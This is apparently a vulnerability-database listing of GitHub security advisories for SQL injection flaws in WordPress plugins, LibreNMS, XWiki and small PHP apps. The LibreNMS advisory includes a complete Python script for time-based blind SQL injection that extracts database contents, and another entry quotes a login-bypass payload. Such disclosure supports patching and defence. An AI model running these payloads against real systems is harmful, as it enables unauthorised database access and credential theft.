CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
28030 vulnerabilities reference this CWE, most recent first.
GHSA-79Q2-V554-RHR4
Vulnerability from github – Published: 2022-06-14 00:00 – Updated: 2022-06-18 00:00The KiviCare WordPress plugin before 2.3.9 does not sanitise and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route, leading to SQL Injections exploitable by unauthenticated users
{
"affected": [],
"aliases": [
"CVE-2022-0786"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-13T13:15:00Z",
"severity": "CRITICAL"
},
"details": "The KiviCare WordPress plugin before 2.3.9 does not sanitise and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route, leading to SQL Injections exploitable by unauthenticated users",
"id": "GHSA-79q2-v554-rhr4",
"modified": "2022-06-18T00:00:19Z",
"published": "2022-06-14T00:00:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0786"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/53f493e9-273b-4349-8a59-f2207e8f8f30"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-79Q4-XV4R-946X
Vulnerability from github – Published: 2022-05-01 18:41 – Updated: 2022-05-01 18:41SQL injection vulnerability in wp-includes/query.php in WordPress 2.3.1 and earlier allows remote attackers to execute arbitrary SQL commands via the s parameter, when DB_CHARSET is set to (1) Big5, (2) GBK, or possibly other character set encodings that support a "\" in a multibyte character.
{
"affected": [],
"aliases": [
"CVE-2007-6318"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-12-12T00:46:00Z",
"severity": "MODERATE"
},
"details": "SQL injection vulnerability in wp-includes/query.php in WordPress 2.3.1 and earlier allows remote attackers to execute arbitrary SQL commands via the s parameter, when DB_CHARSET is set to (1) Big5, (2) GBK, or possibly other character set encodings that support a \"\\\" in a multibyte character.",
"id": "GHSA-79q4-xv4r-946x",
"modified": "2022-05-01T18:41:39Z",
"published": "2022-05-01T18:41:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6318"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/38959"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2008-January/msg00079.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2008-January/msg00098.html"
},
{
"type": "WEB",
"url": "http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/058999.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28005"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28310"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3433"
},
{
"type": "WEB",
"url": "http://www.abelcheung.org/advisory/20071210-wordpress-charset.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/484828/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/26795"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1019071"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/4172"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-79Q8-HF2C-7PXV
Vulnerability from github – Published: 2022-04-23 00:14 – Updated: 2024-04-03 23:06SQL injection vulnerability in the Brainstorming extension 0.1.8 and earlier for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2010-1006"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-19T19:00:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in the Brainstorming extension 0.1.8 and earlier for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.",
"id": "GHSA-79q8-hf2c-7pxv",
"modified": "2024-04-03T23:06:23Z",
"published": "2022-04-23T00:14:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1006"
},
{
"type": "WEB",
"url": "http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-006"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/38798"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-79Q9-WC6P-CF92
Vulnerability from github – Published: 2026-02-18 22:31 – Updated: 2026-02-18 22:31Summary
A time-based blind SQL injection vulnerability exists in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.
Details
This vulnerability requires authentication and is exploitable by any authenticated user.
The vulnerable endpoint is at /ajax_table.php with the following request displaying the injection point.
POST /ajax_table.php HTTP/1.1
Host: 192.168.236.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.236.131
Connection: keep-alive
Referer: http://192.168.236.131/search
Cookie: laravel_session=[Authenticated user cookie]
current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&search_type=ipv4&device_id=1&interface=&address=127.0.0.1/aa<injected SQL here>
Within includes/html/table/address-search.inc.php, the user-controlled $prefix variable derived from the address parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.
// Lines 16-35, 51-53
$address = $vars['address'] ?? '';
$prefix = '';
$sort = trim((string) $sort);
if (str_contains($address, '/')) {
[$address, $prefix] = explode('/', $address, 2);
}
if ($search_type == 'ipv4') {
$sql = ' FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D';
$sql .= ' WHERE I.port_id = A.port_id AND I.device_id = D.device_id ' . $where . ' ';
if (! empty($address)) {
$sql .= ' AND ipv4_address LIKE ?';
$param[] = "%$address%";
}
if (! empty($prefix)) {
$sql .= " AND ipv4_prefixlen='$prefix'";
}
......
if (! empty($prefix)) {
$sql .= " AND ipv6_prefixlen = '$prefix'";
}
PoC
The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of SELECT CURRENT_USER() from the database:
#!/usr/bin/python3
import requests
import sys
import re
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# Configured to be used with burpsuite on the default burpsuite port of 8080
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
# When None is returned it means that all values have been retrieved from the queried value in the target DB
def blind_binsearch_sqli(inj_str):
try:
a = range(32,126)
start = 0
end = len(a)
while start <= end:
mid = (start + end) // 2
target_equal = inj_str.replace("[CHAR]", str(a[mid]))
target_less = inj_str.replace("=[CHAR]", f"<{a[mid]}")
# Return ascii decimal value for storing to a local string buffer
if condition(target_equal):
return a[mid]
# Use lower half of the "a" array
elif condition(target_less):
end = mid - 1
# Use upper half of the "a" array
else:
start = mid + 1
return None
except IndexError:
return None
# Check injection result
def condition(payload):
exploit_data = {
"current": "1",
"rowCount": "50",
"sort[hostname]": "asc",
"searchPhrase": "",
"id": "address-search",
"search_type": "ipv4",
"device_id": "1",
"interface": "",
"address": f"127.0.0.1/aa{payload}"
}
# Payload must be slotted in somewhere in this code
payload_url = f"{url}/ajax_table.php"
r = s.post(payload_url, data=exploit_data)
elapsed_time_seconds = r.elapsed.total_seconds()
# If response time is within sleep function delay range of +1 or -1 second the query returned "true"
if (elapsed_time_seconds + 1) > (sleep_delay * 2) and (elapsed_time_seconds - 1) < (sleep_delay * 2):
return True
else:
return False
def get_length(inj):
length = 0
print(f"(+) Getting the length of \"{inj}\"")
while True:
# MySQL
#length_injection_string = f" AND LENGTH(({inj}))={str(length)}-- -"
length_injection_string = f"' AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleep_delay}),0))x) AND '1'='1"
bool_value = condition(length_injection_string)
if bool_value == False:
length += 1
else:
return length
def injection(inject_qry):
extracted = ""
length = get_length(inject_qry)
print(f"Length of \"{inject_qry}\": {length}")
print(f"(+) Retrieving the value for \"{inject_qry}\"")
# +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted
for i in range(1, length + 2):
# MySQL
injection_string = f"' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({inject_qry}),{i},1))=[CHAR],SLEEP({sleep_delay}),0))x) AND '1'='1"
retrieved_value = blind_binsearch_sqli(injection_string)
if retrieved_value:
extracted += chr(retrieved_value)
extracted_char = chr(retrieved_value)
print(extracted_char, flush=True, end="")
elif retrieved_value == None:
print("\n(+) done!\n")
return extracted
global url
global s
global sleep_delay
global username
global password
# Default sleep delay, due to injection query used the response time will be sleep_delay * 2
sleep_delay = 1.5
s = requests.Session()
# HTTPS
s.verify = False
# Toggle debug proxy
#s.proxies.update(proxies)
url = "http://192.168.236.131"
username = "tester2"
password = "Adminbazinga"
if len(sys.argv) > 1:
url = sys.argv[1]
if len(sys.argv) > 2:
username = sys.argv[2]
if len(sys.argv) > 3:
password = sys.argv[3]
if len(sys.argv) > 4:
sleep_delay = float(sys.argv[4])
r = s.get(url + "/login")
login_token = re.search(r"name=\"_token\"\s+value=\"([^\"]+)\"", r.text).group(1)
login_data = {
"_token": login_token,
"username": username,
"password": password,
"submit": ""
}
r = s.post(url + "/login", data=login_data)
# Example: python3 script.py http://127.0.0.1 username password 1.5
if __name__ == "__main__":
injection("SELECT CURRENT_USER()")
Tester user role:
Example usage of PoC script:
Impact
- Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time‑based blind SQL injection techniques.
- This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data.
- An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "librenms/librenms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26990"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T22:31:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA time-based blind SQL injection vulnerability exists in `address-search.inc.php` via the `address` parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.\n\n\n### Details\nThis vulnerability requires authentication and is exploitable by any authenticated user.\n\nThe vulnerable endpoint is at `/ajax_table.php` with the following request displaying the injection point.\n```\nPOST /ajax_table.php HTTP/1.1\nHost: 192.168.236.131\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nOrigin: http://192.168.236.131\nConnection: keep-alive\nReferer: http://192.168.236.131/search\nCookie: laravel_session=[Authenticated user cookie]\n\ncurrent=1\u0026rowCount=55\u0026sort%5Bhostname%5D=asc\u0026searchPhrase=\u0026id=address-search\u0026search_type=ipv4\u0026device_id=1\u0026interface=\u0026address=127.0.0.1/aa\u003cinjected SQL here\u003e\n```\n\nWithin `includes/html/table/address-search.inc.php`, the user-controlled `$prefix` variable derived from the `address` parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.\n\n```php\n// Lines 16-35, 51-53\n$address = $vars[\u0027address\u0027] ?? \u0027\u0027;\n$prefix = \u0027\u0027;\n$sort = trim((string) $sort);\n\nif (str_contains($address, \u0027/\u0027)) {\n [$address, $prefix] = explode(\u0027/\u0027, $address, 2);\n}\n\nif ($search_type == \u0027ipv4\u0027) {\n $sql = \u0027 FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D\u0027;\n $sql .= \u0027 WHERE I.port_id = A.port_id AND I.device_id = D.device_id \u0027 . $where . \u0027 \u0027;\n\n if (! empty($address)) {\n $sql .= \u0027 AND ipv4_address LIKE ?\u0027;\n $param[] = \"%$address%\";\n }\n\n if (! empty($prefix)) {\n $sql .= \" AND ipv4_prefixlen=\u0027$prefix\u0027\";\n }\n\n......\n\n if (! empty($prefix)) {\n $sql .= \" AND ipv6_prefixlen = \u0027$prefix\u0027\";\n }\n```\n\n\n### PoC\nThe following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of `SELECT CURRENT_USER()` from the database:\n```python\n#!/usr/bin/python3\n\nimport requests\nimport sys\nimport re\n\nfrom urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\n\n# Configured to be used with burpsuite on the default burpsuite port of 8080\nproxies = {\"http\": \"http://127.0.0.1:8080\", \"https\": \"http://127.0.0.1:8080\"}\n\n# When None is returned it means that all values have been retrieved from the queried value in the target DB\ndef blind_binsearch_sqli(inj_str):\n try:\n a = range(32,126)\n start = 0\n end = len(a)\n while start \u003c= end:\n mid = (start + end) // 2\n target_equal = inj_str.replace(\"[CHAR]\", str(a[mid]))\n target_less = inj_str.replace(\"=[CHAR]\", f\"\u003c{a[mid]}\")\n\n # Return ascii decimal value for storing to a local string buffer\n if condition(target_equal):\n return a[mid]\n # Use lower half of the \"a\" array\n elif condition(target_less):\n end = mid - 1\n # Use upper half of the \"a\" array\n else:\n start = mid + 1\n return None\n except IndexError:\n return None\n\n\n# Check injection result\ndef condition(payload):\n exploit_data = {\n \"current\": \"1\",\n \"rowCount\": \"50\",\n \"sort[hostname]\": \"asc\",\n \"searchPhrase\": \"\",\n \"id\": \"address-search\",\n \"search_type\": \"ipv4\",\n \"device_id\": \"1\",\n \"interface\": \"\",\n \"address\": f\"127.0.0.1/aa{payload}\"\n }\n # Payload must be slotted in somewhere in this code\n payload_url = f\"{url}/ajax_table.php\"\n\n r = s.post(payload_url, data=exploit_data)\n\n elapsed_time_seconds = r.elapsed.total_seconds()\n\n # If response time is within sleep function delay range of +1 or -1 second the query returned \"true\"\n if (elapsed_time_seconds + 1) \u003e (sleep_delay * 2) and (elapsed_time_seconds - 1) \u003c (sleep_delay * 2):\n return True\n else:\n return False\n\n\ndef get_length(inj):\n length = 0\n print(f\"(+) Getting the length of \\\"{inj}\\\"\")\n while True:\n # MySQL\n #length_injection_string = f\" AND LENGTH(({inj}))={str(length)}-- -\"\n length_injection_string = f\"\u0027 AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleep_delay}),0))x) AND \u00271\u0027=\u00271\"\n\n bool_value = condition(length_injection_string)\n\n if bool_value == False:\n length += 1\n else:\n return length\n\n\ndef injection(inject_qry):\n extracted = \"\"\n length = get_length(inject_qry)\n print(f\"Length of \\\"{inject_qry}\\\": {length}\")\n print(f\"(+) Retrieving the value for \\\"{inject_qry}\\\"\")\n\n # +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted\n for i in range(1, length + 2):\n # MySQL\n injection_string = f\"\u0027 AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({inject_qry}),{i},1))=[CHAR],SLEEP({sleep_delay}),0))x) AND \u00271\u0027=\u00271\"\n\n retrieved_value = blind_binsearch_sqli(injection_string)\n\n if retrieved_value:\n extracted += chr(retrieved_value)\n extracted_char = chr(retrieved_value)\n print(extracted_char, flush=True, end=\"\")\n elif retrieved_value == None:\n print(\"\\n(+) done!\\n\")\n return extracted\n\nglobal url\nglobal s\nglobal sleep_delay\nglobal username\nglobal password\n\n# Default sleep delay, due to injection query used the response time will be sleep_delay * 2\nsleep_delay = 1.5\n\ns = requests.Session()\n\n# HTTPS\ns.verify = False\n\n# Toggle debug proxy\n#s.proxies.update(proxies)\n\nurl = \"http://192.168.236.131\"\n\nusername = \"tester2\"\npassword = \"Adminbazinga\"\n\nif len(sys.argv) \u003e 1:\n url = sys.argv[1]\nif len(sys.argv) \u003e 2:\n username = sys.argv[2]\nif len(sys.argv) \u003e 3:\n password = sys.argv[3]\nif len(sys.argv) \u003e 4:\n sleep_delay = float(sys.argv[4])\n\nr = s.get(url + \"/login\")\n\nlogin_token = re.search(r\"name=\\\"_token\\\"\\s+value=\\\"([^\\\"]+)\\\"\", r.text).group(1)\n\nlogin_data = {\n\"_token\": login_token,\n\"username\": username,\n\"password\": password,\n\"submit\": \"\"\n}\n\nr = s.post(url + \"/login\", data=login_data)\n\n# Example: python3 script.py http://127.0.0.1 username password 1.5\nif __name__ == \"__main__\":\n injection(\"SELECT CURRENT_USER()\")\n```\n\nTester user role:\n\u003cimg width=\"771\" height=\"154\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fe13754c-9a41-48cb-934d-575097675c13\" /\u003e\n\n\nExample usage of PoC script:\n\u003cimg width=\"924\" height=\"104\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6b1e19a9-4c73-4e44-8e16-851ff92d5960\" /\u003e\n\n\n### Impact\n* Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time\u2011based blind SQL injection techniques.\n* This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data.\n* An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.",
"id": "GHSA-79q9-wc6p-cf92",
"modified": "2026-02-18T22:31:37Z",
"published": "2026-02-18T22:31:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/security/advisories/GHSA-79q9-wc6p-cf92"
},
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/pull/18777"
},
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/commit/15429580baba03ed1dd377bada1bde4b7a1175a1"
},
{
"type": "PACKAGE",
"url": "https://github.com/librenms/librenms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LibreNMS has a Time-Based Blind SQL Injection in address-search.inc.php"
}
GHSA-79QW-6994-QG24
Vulnerability from github – Published: 2025-06-26 18:31 – Updated: 2025-06-26 18:31A time-based blind SQL injection vulnerability was identified in the PHPGurukul Dairy Farm Shop Management System 1.3. The vulnerability exists in the manage-companies.php file and allows remote attackers to execute arbitrary SQL code via the companyname parameter in a POST request.
{
"affected": [],
"aliases": [
"CVE-2025-51672"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-26T15:15:23Z",
"severity": "HIGH"
},
"details": "A time-based blind SQL injection vulnerability was identified in the PHPGurukul Dairy Farm Shop Management System 1.3. The vulnerability exists in the manage-companies.php file and allows remote attackers to execute arbitrary SQL code via the companyname parameter in a POST request.",
"id": "GHSA-79qw-6994-qg24",
"modified": "2025-06-26T18:31:27Z",
"published": "2025-06-26T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51672"
},
{
"type": "WEB",
"url": "https://github.com/rtnthakur/CVE/blob/main/PHPGurukul/Dairy-Farm-Shop-Management-System/SQL/SQL_injection_edit-company.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-79R2-3G59-M287
Vulnerability from github – Published: 2023-03-23 09:30 – Updated: 2023-03-27 18:30A vulnerability classified as critical has been found in SourceCodester Automatic Question Paper Generator System 1.0. This affects an unknown part of the file classes/Users.php?f=save_ruser. The manipulation of the argument id/email leads to sql injection. It is possible to initiate the attack remotely. The associated identifier of this vulnerability is VDB-223659.
{
"affected": [],
"aliases": [
"CVE-2023-1591"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-23T09:15:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability classified as critical has been found in SourceCodester Automatic Question Paper Generator System 1.0. This affects an unknown part of the file classes/Users.php?f=save_ruser. The manipulation of the argument id/email leads to sql injection. It is possible to initiate the attack remotely. The associated identifier of this vulnerability is VDB-223659.",
"id": "GHSA-79r2-3g59-m287",
"modified": "2023-03-27T18:30:26Z",
"published": "2023-03-23T09:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1591"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.223659"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.223659"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-79RG-7MV3-JRR5
Vulnerability from github – Published: 2021-03-23 22:48 – Updated: 2021-03-23 22:34Impact
This issue impacts only XWiki with the Ratings API installed. The Rating Script Service expose an API to perform SQL requests without escaping the from and where search arguments. This might lead to an SQL script injection quite easily for any user having Script rights on XWiki.
Patches
The problem has been patched in XWiki 12.9RC1.
Workarounds
The only workaround besides upgrading XWiki would be to uninstall the Ratings API in XWiki from the Extension Manager.
References
https://jira.xwiki.org/browse/XWIKI-17662
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira XWiki * Email us at our security mailing list
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-ratings-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21380"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-23T22:34:44Z",
"nvd_published_at": "2021-03-23T23:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nThis issue impacts only XWiki with the Ratings API installed.\nThe Rating Script Service expose an API to perform SQL requests without escaping the from and where search arguments. \nThis might lead to an SQL script injection quite easily for any user having Script rights on XWiki.\n\n### Patches\nThe problem has been patched in XWiki 12.9RC1.\n\n### Workarounds\nThe only workaround besides upgrading XWiki would be to uninstall the Ratings API in XWiki from the Extension Manager.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-17662\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](http://jira.xwiki.org)\n* Email us at our [security mailing list](mailto:security@xwiki.org)",
"id": "GHSA-79rg-7mv3-jrr5",
"modified": "2021-03-23T22:34:44Z",
"published": "2021-03-23T22:48:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-79rg-7mv3-jrr5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21380"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-17662"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Rating Script Service expose XWiki to SQL injection"
}
GHSA-79RP-QFMC-MHQ8
Vulnerability from github – Published: 2025-12-11 21:31 – Updated: 2025-12-11 21:31A security flaw has been discovered in code-projects Class and Exam Timetable Management 1.0. Affected by this vulnerability is an unknown functionality of the file /index.php of the component Login. The manipulation of the argument username/password results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be exploited.
{
"affected": [],
"aliases": [
"CVE-2025-14536"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-11T20:15:54Z",
"severity": "MODERATE"
},
"details": "A security flaw has been discovered in code-projects Class and Exam Timetable Management 1.0. Affected by this vulnerability is an unknown functionality of the file /index.php of the component Login. The manipulation of the argument username/password results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be exploited.",
"id": "GHSA-79rp-qfmc-mhq8",
"modified": "2025-12-11T21:31:33Z",
"published": "2025-12-11T21:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14536"
},
{
"type": "WEB",
"url": "https://github.com/woshilaiyi/cve/issues/11"
},
{
"type": "WEB",
"url": "https://github.com/woshilaiyi/cve/issues/12"
},
{
"type": "WEB",
"url": "https://code-projects.org"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.335875"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.335875"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.703700"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.703701"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-79VR-2VHF-2RWC
Vulnerability from github – Published: 2026-03-12 18:30 – Updated: 2026-03-12 18:30Jettweb PHP Hazir Haber Sitesi Scripti V2 contains an authentication bypass vulnerability in the administration panel that allows unauthenticated attackers to gain administrative access by exploiting improper SQL query validation. Attackers can submit SQL injection payloads in the username and password fields of the admingiris.php login form to bypass authentication and access the administrative interface.
{
"affected": [],
"aliases": [
"CVE-2019-25510"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-12T16:16:03Z",
"severity": "HIGH"
},
"details": "Jettweb PHP Hazir Haber Sitesi Scripti V2 contains an authentication bypass vulnerability in the administration panel that allows unauthenticated attackers to gain administrative access by exploiting improper SQL query validation. Attackers can submit SQL injection payloads in the username and password fields of the admingiris.php login form to bypass authentication and access the administrative interface.",
"id": "GHSA-79vr-2vhf-2rwc",
"modified": "2026-03-12T18:30:30Z",
"published": "2026-03-12T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25510"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46598"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/jettweb-php-hazir-haber-sitesi-scripti-v2-authentication-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-79W3-8JVG-FR55
Vulnerability from github – Published: 2026-02-12 21:31 – Updated: 2026-02-12 21:31thesystem App 1.0 contains a SQL injection vulnerability that allows attackers to bypass authentication by manipulating the username parameter. Attackers can inject malicious SQL code like ' or '1=1 to the username field to gain unauthorized access to user accounts.
{
"affected": [],
"aliases": [
"CVE-2019-25347"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-12T20:16:01Z",
"severity": "HIGH"
},
"details": "thesystem App 1.0 contains a SQL injection vulnerability that allows attackers to bypass authentication by manipulating the username parameter. Attackers can inject malicious SQL code like \u0027 or \u00271=1 to the username field to gain unauthorized access to user accounts.",
"id": "GHSA-79w3-8jvg-fr55",
"modified": "2026-02-12T21:31:27Z",
"published": "2026-02-12T21:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25347"
},
{
"type": "WEB",
"url": "https://github.com/kostasmitroglou/thesystem"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/47432"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/thesystem-app-username-sql-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
